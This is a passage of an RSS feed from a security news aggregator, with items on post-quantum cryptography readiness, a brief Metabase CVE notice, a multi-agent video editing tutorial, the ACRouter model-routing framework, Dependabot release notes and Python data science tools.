  require years of preparation.
</span></p>

<p><span>
  Quantum computing is no longer confined entirely to theoretical research.
  Developers and researchers can already access real quantum processors through
  services such as the IBM Quantum Platform.
</span></p>

<p><span>
  That does not mean organisations need to rush into an uncontrolled migration.
  It means they should begin understanding their exposure, improving
  cryptographic agility and establishing a structured roadmap.
</span></p>

<p><span>
  The organisations that start mapping their cryptographic landscape today
  will be better prepared when quantum-safe migration becomes a business
  requirement rather than a future consideration.
</span></p>

<hr>

<h2><span>Useful Resources</span></h2>

<ul>
  <li>
    <span><a href="https://quantum.ibm.com/" rel="noopener noreferrer" target="_blank">
      IBM Quantum Platform
    </a>
  </span></li>
  <li>
    <span><a href="https://www.ibm.com/quantum" rel="noopener noreferrer" target="_blank">
      IBM Quantum
    </a>
  </span></li>
  <li>
    <span><a href="https://www.nist.gov/pqc" rel="noopener noreferrer" target="_blank">
      NIST Post-Quantum Cryptography Project
    </a>
  </span></li>
  <li>
    <span><a href="https://csrc.nist.gov/pubs/fips/203/final" rel="noopener noreferrer" target="_blank">
      NIST FIPS 203: ML-KEM
    </a>
  </span></li>
  <li>
    <span><a href="https://csrc.nist.gov/pubs/fips/204/final" rel="noopener noreferrer" target="_blank">
      NIST FIPS 204: ML-DSA
    </a>
  </span></li>
  <li>
    <span><a href="https://csrc.nist.gov/pubs/fips/205/final" rel="noopener noreferrer" target="_blank">
      NIST FIPS 205: SLH-DSA</a></span></li></ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59827 | Metabase up to 1.58.14/1.59.11 H2 Database Query deserialization]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in Metabase up to 1.58.14/1.59.11. Affected is an unknown function of the component H2 Database Query Handler. Executing a manipulation can lead to deserialization.

This vulnerability is handled as CVE-2026-59827. The attack can be e...]]></description>
<link>https://tsecurity.de/de/3666454/sicherheitsluecken/cve-2026-59827-metabase-up-to-1581415911-h2-database-query-deserialization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666454/sicherheitsluecken/cve-2026-59827-metabase-up-to-1581415911-h2-database-query-deserialization/</guid>
<pubDate>Mon, 13 Jul 2026 23:10:24 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/metabase">Metabase up to 1.58.14/1.59.11</a>. Affected is an unknown function of the component <em>H2 Database Query Handler</em>. Executing a manipulation can lead to deserialization.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-59827">CVE-2026-59827</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a VideoAgent-Style Multi-Agent System: Intent Parsing, Graph Planning, and Tool Routing for Video Editing Tasks]]></title>
<description><![CDATA[In this tutorial, we reconstruct the VideoAgent workflow as a runnable, API-key-free multi-agent pipeline. We build an intent parser, an agent library, a tool router, a graph planner, and a textual-gradient optimizer that repairs the execution graph. We wire these planning components to FFmpeg, W...]]></description>
<link>https://tsecurity.de/de/3666175/ai-nachrichten/building-a-videoagent-style-multi-agent-system-intent-parsing-graph-planning-and-tool-routing-for-video-editing-tasks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666175/ai-nachrichten/building-a-videoagent-style-multi-agent-system-intent-parsing-graph-planning-and-tool-routing-for-video-editing-tasks/</guid>
<pubDate>Mon, 13 Jul 2026 20:48:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this tutorial, we reconstruct the VideoAgent workflow as a runnable, API-key-free multi-agent pipeline. We build an intent parser, an agent library, a tool router, a graph planner, and a textual-gradient optimizer that repairs the execution graph. We wire these planning components to FFmpeg, Whisper transcription, scene detection, keyframe sampling, captioning, cross-modal indexing, and beat-synced editing. By the end, we have a system that answers questions about a video, summarizes it, and produces edited artifacts from natural-language instructions.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/13/building-a-videoagent-style-multi-agent-system-intent-parsing-graph-planning-and-tool-routing-for-video-editing-tasks/">Building a VideoAgent-Style Multi-Agent System: Intent Parsing, Graph Planning, and Tool Routing for Video Editing Tasks</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[ACRouter picks the smartest AI model per task, beating Opus-only setups by 2.6x on cost]]></title>
<description><![CDATA[Model routing is becoming a key component of the enterprise AI stack, dynamically sending prompts to the right AI model to optimize speed and costs. However, current frameworks mostly treat routing as a static classification problem, which severely limits their potential.A new open-source framewo...]]></description>
<link>https://tsecurity.de/de/3665936/it-nachrichten/acrouter-picks-the-smartest-ai-model-per-task-beating-opus-only-setups-by-26x-on-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665936/it-nachrichten/acrouter-picks-the-smartest-ai-model-per-task-beating-opus-only-setups-by-26x-on-cost/</guid>
<pubDate>Mon, 13 Jul 2026 18:48:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Model routing is becoming a key component of the enterprise AI stack, dynamically sending prompts to the right AI model to optimize speed and costs. However, current frameworks mostly treat routing as a static classification problem, which severely limits their potential.</p><p>A new open-source framework called <a href="https://arxiv.org/abs/2606.22902">Agent-as-a-Router</a> tackles this bottleneck, treating the router as a dynamic, memory-building agent. It uses a Context-Action-Feedback (C-A-F) loop to track model successes and failures and update the behavior of the router. </p><p>The researchers also released ACRouter, a concrete implementation of this paradigm. In their tests, ACRouter significantly outperformed static routers and the expensive strategy of defaulting to premium models, all without requiring teams to train massive models or write endless heuristics.</p><p>For real-world applications, this framework provides the option to replace hard-coded AI infrastructure with self-optimizing systems that can adapt to changes in user behavior and foundation models used in the enterprise AI stack. </p><h2>The economics of routing and the information deficit</h2><p>Single-model setups are useful for experiments but detrimental when scaling AI applications. AI engineers use <a href="https://venturebeat.com/orchestration/enterprises-using-multiple-ai-models-are-underestimating-failure-rates-by-2-25x">model routing</a> to map tasks to cheaper and faster open models when possible, while reserving expensive frontier models for complex reasoning. </p><p>Currently, developers rely on two main mechanisms for this task. The first is heuristics-based routing, which relies on hard-coded manual rules. For example, a developer might write a rule dictating that if a prompt contains certain keywords, it is routed to GPT-5.5. Otherwise, it goes to a self-hosted open source model like Kimi K2.7. </p><p>The second mechanism is static trained policies. These are machine learning classifiers trained on historical datasets that look at the prompt's embeddings and predict the best model based on past training data.</p><p>Both approaches are static. When the researchers tested these existing mechanisms on real-world coding and agentic workflows, they found a hard ceiling on accuracy. The key finding shows that static routers suffer from a severe information deficit. Because they only evaluate the input text and never see if the model actually succeeded in executing the task, they guess blindly when faced with complex edge cases.</p><p>This results in three distinct points of failure. First, static routers suffer from a frozen information state, meaning they cannot accumulate new execution feedback during deployment. Second, they fail in out-of-distribution (OOD) generalization. They break down during day-two operations when enterprise data or user behavior shifts because their training data no longer matches reality. Finally, they are highly vulnerable to model churn. A static classifier trained on today's models may become obsolete when a better model drops the following week.</p><h2>Agent-as-a-Router: A self-evolving system</h2><p>The core thesis of the Agent-as-a-Router is that a truly effective router must acquire and accumulate execution-grounded information during deployment, essentially learning on the job. </p><p>The researchers achieved this through the C-A-F loop. When a new prompt arrives, the router examines the prompt and task metadata, such as the programming language or difficulty. It then searches its historical memory for similar tasks to see which models succeeded or failed in the past. The router uses this context to select the target model and execute the task. Finally, the system observes the real-world outcome, extracts a success or failure signal, and writes this feedback back into its memory to inform future routing decisions.</p><p>Consider an automated enterprise data analytics pipeline. The router receives a SQL generation task and sends it to an open-source model like Kimi. The model hallucinates a column name and fails to compile the SQL. The C-A-F loop observes the compiler error, registers it as feedback, and logs it. The next time a similar obscure SQL query arrives, the router checks its context and routes the task to a more advanced model like Claude Opus 4.8. </p><h2>ACRouter</h2><p>The researchers developed ACRouter as the concrete instantiation of this framework. It is composed of three core components: the Orchestrator, the Verifier, and Memory. This architecture is supported by a tool layer to physically execute the C-A-F loop.</p><p>The Memory module powers the context phase. Built on a vector store, it retrieves relevant past interactions and updates the historical database with new outcomes. The Orchestrator handles the action phase. It processes the user prompt alongside the retrieved memory to select the most capable target model from the available pool. The Verifier manages the feedback phase by evaluating the chosen model's output to generate a clear success or failure signal.</p><p>The tool layer hooks the Verifier into real-world execution environments, like a Python code interpreter, an agentic sandbox, or a database engine. The tool layer allows the system to execute the generated code or query and observe the exact outcome, providing the verifiable signal the router needs to learn.</p><p>The Orchestrator itself is lightweight. Instead of a massive, computationally heavy large language model, the researchers trained a sub-billion parameter adapter based on Qwen 3.5 (0.8B parameters), which means it can be self-hosted on a device of your choice.</p><h2>ACRouter in action: Outperforming the frontier baselines</h2><p>To stress-test the framework, the researchers introduced CodeRouterBench, an evaluation environment comprising roughly 10,000 tasks with verified scores across eight frontier models, including Claude Opus 4.6, GPT-5.4, Qwen3-Max, and GLM-5. The evaluation was split between in-distribution (ID) tests (covering nine single-turn coding dimensions like algorithm design and test generation) and an out-of-distribution (OOD) agentic programming testbed. The OOD tasks were qualitatively different, requiring multi-step planning, file navigation, and iterative debugging to see if the router could adapt to fundamentally new domains.</p><p>The baseline results revealed why a single-model strategy is flawed: no single model dominates every category. For example, while Claude Opus 4.6 achieved the highest average performance, it was outperformed in algorithm design by GLM-5 (an 86% relative improvement) and in test generation by Qwen3-Max (a 111% improvement), despite Opus costing roughly 12 times as much as smaller models like Kimi-K2.5. </p><p>In the benchmarks, static routers continuously failed by sending a specific niche coding task to a model ill-equipped for that exact syntax. The static router had no way to know the code was failing to execute. In contrast, ACRouter adjusted its strategy after receiving negative feedback signal from the execution environment. </p><p>According to the researchers' benchmarking, ACRouter sits firmly at the Pareto frontier of cost and performance. On both the ID task streams and the complex OOD agentic tests, ACRouter achieved the lowest cumulative regret, a metric measuring sub-optimal routing decisions over time. On the in-distribution test set, ACRouter cost $13.21 across the full task run, compared to $34.02 for always defaulting to Opus — a 2.6x savings.</p><p>It dynamically matched tasks to the most capable model for that specific niche, suggesting that enterprises can achieve or exceed frontier-level accuracy across diverse workloads without paying a premium price for every query. </p><h2>Caveats, limitations, and how to get started</h2><p>While the Agent-as-a-Router paradigm solves the information deficit, it is not a blanket solution for all AI workflows. </p><p>The framework shines in verifiable tasks where the Verifier gets a clear success or failure signal from the environment, such as coding or data retrieval. It is effective for applications with distribution shifts and domains where different models excel in completely distinct niches. </p><p>Conversely, the setup is overkill for trivial tasks where any model will suffice, or for low-volume applications that do not justify the engineering overhead. It is also unsuitable for subjective domains, such as creative writing, where a correct answer cannot be easily verified and feedback signals are impossible to standardize.</p><p>The researchers open-sourced <a href="https://github.com/LanceZPF/agent-as-a-router">the code on GitHub</a> and released the <a href="https://huggingface.co/Lance1573/acrouter-qwen35-08b-router-lora">orchestrator model weights on Hugging Face</a> under the Apache 2.0 license. The router is compatible with Claude Code, Codex, and OpenCode.</p>]]></content:encoded>
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<item>
<title><![CDATA[v0.386.0]]></title>
<description><![CDATA[What's Changed

Capture offending gem details on bundler registry metadata errors by @kbukum1 in #15512
Bundler: apply empty-checksum metadata patch to the v2 helper by @kbukum1 in #15513
[Update graph] Ensure bystander txt files are removed before parsing for Python by @brrygrdn in #15508
Handle...]]></description>
<link>https://tsecurity.de/de/3665919/it-security-tools/v03860/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665919/it-security-tools/v03860/</guid>
<pubDate>Mon, 13 Jul 2026 18:35:24 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Capture offending gem details on bundler registry metadata errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824191752" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15512" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15512/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15512">#15512</a></li>
<li>Bundler: apply empty-checksum metadata patch to the v2 helper by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kbukum1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kbukum1">@kbukum1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824414250" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15513" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15513/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15513">#15513</a></li>
<li>[Update graph] Ensure bystander txt files are removed before parsing for Python by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4819771035" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15508" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15508/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15508">#15508</a></li>
<li>Handle global.json with no SDK version in dotnet_sdk parser by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821557169" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15510" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15510/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15510">#15510</a></li>
<li>Type the cargo ecosystem and remove it from the T.untyped burndown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810941973" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15492" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15492/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15492">#15492</a></li>
<li>Type the conda ecosystem and remove it from the T.untyped burndown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4811676578" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15493" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15493/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15493">#15493</a></li>
<li>Type the docker ecosystem and remove it from the T.untyped burndown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4811747259" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15495" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15495/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15495">#15495</a></li>
<li>Use shared git-tag cooldown in terraform by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4786767074" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15472" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15472/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15472">#15472</a></li>
<li>Retry corepack once on signature metadata error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4783580732" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15466" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15466/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15466">#15466</a></li>
<li>Type the deno, elm, devcontainers, bazel, and helm ecosystems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4833014415" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15527" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15527/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15527">#15527</a></li>
<li>Add word-separator and lowercase formatting for branch name by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4791908912" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15478" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15478/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15478">#15478</a></li>
<li>Fix Docker cooldown not respected for multi-arch images missing Last-Modified by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4796035244" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15486" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15486/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15486">#15486</a></li>
<li>Reduce redundant git-source probes during npm metadata resolution by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793483366" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15480" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15480/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15480">#15480</a></li>
<li>Type the maven ecosystem and remove it from the T.untyped burndown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4833182059" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15531" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15531/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15531">#15531</a></li>
<li>Add branch name config template format support with validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AbhishekBhaskar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AbhishekBhaskar">@AbhishekBhaskar</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835027976" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15535" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15535/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15535">#15535</a></li>
<li>fix(gradle): prefer local gradlew for lockfile updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/thavaahariharangit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/thavaahariharangit">@thavaahariharangit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4847310998" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15546" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15546/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15546">#15546</a></li>
<li>helm: support versioning-strategy (range-preserving updates) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/casey-robertson-paypal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/casey-robertson-paypal">@casey-robertson-paypal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585878635" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15218" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15218/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15218">#15218</a></li>
<li>Bump gradle from 9.4.1-jdk21-ubi to 9.6.1-jdk21-ubi in /gradle by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4813506019" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15498" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15498/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15498">#15498</a></li>
<li>[Update graph] Add support for requirements.txt 'layering' instead of compressing to a single file by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4829476790" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15521" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15521/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15521">#15521</a></li>
<li>Allow periods in Helm values file names for Docker ecosystem by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/telnet23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/telnet23">@telnet23</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4862784915" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15557" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15557/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15557">#15557</a></li>
<li>Match existing group PRs covering a subset of job directories by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4850701816" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15548" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15548/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15548">#15548</a></li>
<li>Bump library/golang from 1.26.1-bookworm to 1.26.5-bookworm in /go_modules by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4867732850" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15562" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15562/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15562">#15562</a></li>
<li>Fix npm security updates for transitive dependencies in workspace monorepos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Swampen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Swampen">@Swampen</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4826508534" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15514" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15514/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15514">#15514</a></li>
<li>Add helm to the smoke-test matrix by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/casey-robertson-paypal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/casey-robertson-paypal">@casey-robertson-paypal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857335602" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15554" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15554/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15554">#15554</a></li>
<li>v0.386.0 by @dependabot-core-action-automation[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4869767530" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15564" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15564/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15564">#15564</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/telnet23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/telnet23">@telnet23</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4862784915" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15557" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15557/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15557">#15557</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Swampen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Swampen">@Swampen</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4826508534" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15514" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15514/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15514">#15514</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/dependabot/dependabot-core/compare/v0.385.0...v0.386.0"><tt>v0.385.0...v0.386.0</tt></a></p>]]></content:encoded>
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<title><![CDATA[7 newer data science tools you should be using with Python]]></title>
<description><![CDATA[Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.



Here’s a rundown of some of the best newer or less-known data science projects available for Python. Some, like Pola...]]></description>
<link>https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.</p>



<p class="wp-block-paragraph">Here’s a rundown of some of the best newer or less-known data science projects available for <a href="https://www.infoworld.com/article/2254260/how-to-get-started-with-python.html">Python</a>. Some, like Polars, are getting more attention but still deserve wider notice. Others, like ConnectorX, are hidden gems.</p>



<h2 class="wp-block-heading">ConnectorX</h2>



<p class="wp-block-paragraph">Most data sits in a database somewhere, but computation typically happens outside of it. Getting data to and from the database for actual work can be a slowdown. <a href="https://github.com/sfu-db/connector-x">ConnectorX</a> loads data from databases into many common data-wrangling tools in Python, and it keeps things fast by minimizing the work required. Most of the data loading can be done in just a couple of lines of Python code and <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">an SQL query</a>.</p>



<p class="wp-block-paragraph">Like Polars (which I’ll discuss shortly), ConnectorX uses a <a href="https://www.infoworld.com/article/2258463/rust-tutorial-get-started-with-the-rust-language.html">Rust</a> library at its core. This allows for optimizations like being able to load from a data source in parallel with partitioning. Data in <a href="https://www.infoworld.com/article/3489168/postgresql-tutorial-get-started-with-postgresql-16.html">PostgreSQL</a>, for instance, can be loaded this way by specifying a partition column.</p>



